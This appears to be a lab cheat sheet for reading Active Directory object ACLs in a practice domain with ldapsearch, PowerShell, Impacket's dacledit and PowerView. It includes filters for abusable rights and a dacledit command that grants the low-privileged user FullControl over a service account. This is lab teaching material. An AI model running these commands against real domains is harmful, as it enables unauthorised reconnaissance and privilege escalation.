Security descriptors store object ownership, DACLs, and ACEs. Raw LDAP can request nTSecurityDescriptor, but PowerView and Impacket are usually better because they parse rights, GUIDs, inheritance, object ACEs, and principals into usable output.
export DC=10.10.10.200
export BASE='DC=ootw,DC=local'
export DOMAIN=ootw.local
export USER='student'
export PASS='student'
Attempt raw LDAP read:
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://$DC:636 -D "$DOMAIN\\$USER" -w "$PASS" -b "CN=svc_web,OU=Service Accounts,OU=OOTW Lab,DC=ootw,DC=local" -s base nTSecurityDescriptor
Keep raw LDAP security descriptor pulls small.
LDAPTLS_REQCERT=never ldapsearch -LLL -x -H ldaps://$DC:636 -D "$DOMAIN\\$USER" -w "$PASS" -E pr=1000/noprompt -b "$BASE" '(|(objectClass=domain)(objectClass=organizationalUnit)(objectClass=groupPolicyContainer))' sAMAccountType distinguishedName objectSid nTSecurityDescriptor
Parse a base64 nTSecurityDescriptor blob into a raw discretionary ACL.
$b64 = '<BASE64_NTSECURITYDESCRIPTOR>'
$bytes = [Convert]::FromBase64String($b64)
$rsd = New-Object System.Security.AccessControl.RawSecurityDescriptor($bytes, 0)
$rsd.DiscretionaryAcl
Convert a base64 nTSecurityDescriptor blob into SDDL.
$b64 = '<BASE64_NTSECURITYDESCRIPTOR>'
$bytes = [Convert]::FromBase64String($b64)
$sd = [System.Security.AccessControl.RawSecurityDescriptor]::new($bytes, 0)
$sd.GetSddlForm('All')
Request owner, DACL, and SACL-aware output from a Windows host:
Get-ADObject -Identity 'CN=svc_web,OU=Service Accounts,OU=OOTW Lab,DC=ootw,DC=local' -Properties nTSecurityDescriptor |
Select-Object -ExpandProperty nTSecurityDescriptor
Read with Impacket:
dacledit.py -action read -target svc_web "$DOMAIN/$USER:$PASS" -dc-ip $DC
Read a DN:
dacledit.py -action read -target-dn "CN=svc_web,OU=Service Accounts,OU=OOTW Lab,DC=ootw,DC=local" "$DOMAIN/$USER:$PASS" -dc-ip $DC
Parse for ownership and interesting ACEs:
Import-Module .\PowerView.ps1
$Acl = Get-DomainObjectAcl -Identity svc_web -ResolveGUIDs
$Acl | Select-Object SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType,InheritanceType,IsInherited
$Acl | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight|WriteProperty' }
Resolve SIDs from parsed ACEs:
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity svc_web -ResolveGUIDs |
Select-Object -ExpandProperty SecurityIdentifier |
Sort-Object -Unique |
ForEach-Object { ConvertFrom-SID $_ }
Find ACLs where a specific principal has rights:
Import-Module .\PowerView.ps1
$Sid = ConvertTo-SID 'OOTW\student'
Get-DomainObjectAcl -LDAPFilter '(objectClass=*)' -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -eq $Sid } |
Select-Object ObjectDN,ActiveDirectoryRights,ObjectAceType,AceType,IsInherited
Grant FullControl:
dacledit.py -action write -rights FullControl -principal $USER -target svc_web "$DOMAIN/$USER:$PASS" -dc-ip $DC
Remove FullControl:
dacledit.py -action remove -rights FullControl -principal $USER -target svc_web "$DOMAIN/$USER:$PASS" -dc-ip $DC
PowerView direct reads:
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity svc_web -ResolveGUIDs
Get-ObjectAcl -DistinguishedName 'CN=svc_web,OU=Service Accounts,OU=OOTW Lab,DC=ootw,DC=local' -ResolveGUIDs
Filter for one principal:
Import-Module .\PowerView.ps1
$Sid = ConvertTo-SID 'OOTW\student'
Get-DomainObjectAcl -Identity svc_web -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -eq $Sid }